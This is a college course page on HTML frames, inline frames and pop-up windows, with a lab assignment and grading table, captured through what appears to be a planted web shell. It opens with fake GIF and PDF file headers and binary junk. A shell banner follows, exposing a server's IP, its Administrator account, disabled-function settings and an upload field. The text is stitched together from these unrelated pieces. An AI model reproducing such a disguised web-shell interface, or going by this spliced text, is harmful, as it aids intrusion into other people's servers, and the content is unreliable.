GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1022/AllenLabs/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Week 4</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <link href="Week%204%20Frames%20and%20Windows_files/style.css" rel="stylesheet" type="text/css"> </head> <body data-pt-ext-theme="dark" data-pt-ext-size="standard" background="Week%204%20Frames%20and%20Windows_files/background.gif"> <p class="pagetitle" align="center">MMDT1022 HTML II and Javascript<br> Week 4</p> <hr> <table width="750" cellpadding="4" border="0" bgcolor="#FFFFFF"> <tbody><tr> <td width="100%"><p>Week 4</p> <hr> <p>First, you should be aware that there is an obsolete technique of page layout called framesets. Framesets are <b>not</b> to be used on new sites due to accessibility issues. They are not supported in HTML5. But sometimes there are no other alternatives.</p> <p> These are examples of framesets:</p> <ul> <li><a href="http://mmdt1022.ridgewater.net/grades/index.htm">http://mmdt1022.ridgewater.net/grades/index.htm</a> - I framed the online grades because the grade pages are automatically generated from my gradebook software. In order to provide instructions, I needed to frame the pages.</li> <li><a href="http://www.schantzen.com/">http://www.schantzen.com</a> - This is a site that is framed. If the site was redone, it should not be framed.</li> <li><a href="http://mmdt1021a.ridgewater.net/samples/sp02site5/index.htm">http://mmdt1021a.ridgewater.net/samples/sp02site5/index.htm</a> - Example of a student web site created with frames.</li> </ul> <hr> <p>However inline frames are still used to include 3rd party content into your website. Chapter 5 in the book describes this technique. Also this chapter covers pop-up window creation.</p> <p>Student <a href="http://mmdt1022.ridgewater.net/exercises/inlineframe/index.html">example</a> of an inline frame.</p> <p>Here is an <a href="http://mmdt1022.ridgewater.net/exercises/frameswindows/news.html">example</a> that our in class exercise is based on.</p> Free <a href="http://www.tinywebgallery.com/blog/advanced-iframe/free-iframe-checker">iframe checker v2.0</a>. Many sites are set up so that they cannot be inside an inline frame. This little app checks if the page you want to include can be included into an iframe.</td> </tr> </tbody></table> <br> <table width="750" cellpadding="4" border="0"> <tbody><tr> <td bgcolor="#FFFFFF"><p>Lab 4 Frames and Windows</p> <p>This lab is to test your knowledge of being able to create an iframe, and open a popup window.</p> <p>Part 1</p> <blockquote> <p>Create an inline frame. It should be similar to what we did in class, but it needs to be a <b>different</b> subject than what we did. With a set of links, change the contents of the iframe.</p> </blockquote> <p>Part 2</p> <blockquote> <p>Create a glossary page with terms that are related to your page content. Have a link on one of your pages that pops up the glossary page in a small window. This should be like the example we did in class.</p> </blockquote> <table width="500" cellspacing="0" cellpadding="5" border="1"> <tbody><tr> <td width="85%"><b>Grading Criteria</b></td> <td width="15%" align="right"><b>Points<br> 15</b></td> </tr> <tr> <td width="85%">Part 1. Inline frame created. </td> <td width="15%" align="right">5</td> </tr> <tr> <td width="85%">Part 1. Menu created that changes the inline frame. </td> <td width="15%" align="right">5</td> </tr> <tr> <td width="85%">Part 2. Popup window that contains a glossary</td> <td width="15%" align="right">5</td> </tr> </tbody></table> <p>Part 2 Extra credit - Be able to link to an anchor in the pop up glossary window - 5 points.</p> <p>Assignment is due one week from when it was assigned. 50% penalty if late.</p></td> </tr> </tbody></table> <hr> <p> </p> <p> </p> <div></div></body></html>